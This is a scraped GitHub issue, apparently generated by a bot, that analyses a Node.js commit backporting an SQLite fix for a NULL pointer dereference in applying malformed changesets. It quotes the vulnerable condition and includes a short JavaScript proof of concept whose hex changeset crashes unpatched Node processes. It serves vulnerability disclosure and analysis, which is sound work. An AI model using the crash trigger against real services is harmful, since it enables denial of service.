René's URL Explorer Experiment

{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"[Vulnerability] nodejs/node: NULL Pointer Dereference / Memory Corruption","articleBody":"## Potential Security Vulnerability Detected\n\n**Repository:** [nodejs/node](https://github.com/nodejs/node)\n**Commit:** [d8ac301](https://github.com/nodejs/node/commit/d8ac30125b39938789630cd307d89c9defec6a9b)\n**Author:** Junsu Han\n**Date:** 2026-05-28T04:56:05Z\n\n### Commit Message\n```\ndeps: cherry-pick e807d4e379 from SQLite\n\nBackport the SQLite session extension fix for corrupt changesets that\nomit old values for primary-key columns. This avoids passing NULL to\nsessionBindValue() while applying UPDATE changesets.\n\nRefs: https://sqlite.org/src/info/e807d4e3798efd53\nSigned-off-by: junius-sec \u003csksch323@naver.com\u003e\nPR-URL: https://github.com/nodejs/node/pull/63525\nRefs: https://hackerone.com/reports/3736889\nRefs: https://github.com/sqlite/sqlite/commit/b869ed6b067d623cb1383549f2a18aa35508385d\nReviewed-By: Antoine du Hamel \u003cduhamelantoine1995@gmail.com\u003e\nReviewed-By: Chemi Atlow \u003cchemi@atlow.co.il\u003e\n```\n\n### Pull Request\n**PR:** [#63525 - deps: cherry-pick e807d4e379 from SQLite](https://github.com/nodejs/node/pull/63525)\n**Labels:** author ready, needs-ci, dependencies, sqlite\n\n**Description:**\nBackport the SQLite session extension fix for malformed changesets that omit\r\nold values for primary-key columns. The upstream fix avoids passing NULL to\r\nsessionBindValue() while applying UPDATE changesets.\r\n\r\nThis adds a regression test for `DatabaseSync#applyChangeset()` to verify that\r\nthe malformed changeset returns `SQLITE_CORRUPT` instead of crashing.\r\n\r\nRefs: https://sqlite.org/src/info/e807d4e3798efd53\r\nRefs: https://hackerone.com/reports/3736889\r\nRefs: https://github.com/sqlite/sqlite/...\n\n### Analysis\n\n**Vulnerability Type:** NULL Pointer Dereference / Memory Corruption\n**Severity:** High\n\n### Description\nThe SQLite session extension had a bug where applying a malformed/corrupt UPDATE changeset that omits old values for primary-key columns would pass NULL to sessionBindValue(). Before the patch, the condition `p-\u0026gt;abPK\\[i\\] || (bPatchset==0 \u0026\u0026 pOld)` would evaluate to true for primary-key columns regardless of whether pOld was NULL, causing NULL to be passed to sessionBindValue() which could crash the process. The fix adds a NULL check on pOld first: `pOld \u0026\u0026 (p-\u0026gt;abPK\\[i\\] || bPatchset==0)`, ensuring NULL is never passed.\n\n### Affected Code\n```\nif( p-\u003eabPK[i] || (bPatchset==0 \u0026\u0026 pOld) ){\n  rc = sessionBindValue(pUp, i*2+2, pOld);\n}\n```\n\n### Proof of Concept\n```\nconst { DatabaseSync } = require('node:sqlite');\nconst database = new DatabaseSync(':memory:');\ndatabase.exec('CREATE TABLE t1(a INTEGER PRIMARY KEY, b, c, d)');\n// Malformed changeset that omits old values for primary-key columns\nconst changeset = Buffer.from('540401000000743100177e0072286565286565', 'hex');\n// Before patch: crashes Node.js process due to NULL dereference in sessionBindValue\n// After patch: throws 'database disk image is malformed' error (SQLITE_CORRUPT)\ndatabase.applyChangeset(changeset);\n```\n\n---\n*This issue was automatically created by [Vulnerability Spoiler Alert](https://github.com/spaceraccoon/vulnerability-spoiler-alert-action).*\n*Detected at: 2026-05-28T05:10:24.073Z*\n","author":{"url":"https://github.com/github-actions[bot]","@type":"Person","name":"github-actions[bot]"},"datePublished":"2026-05-28T05:10:24.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1},"url":"https://github.com/212/vulnerability-spoiler-alert/issues/212"}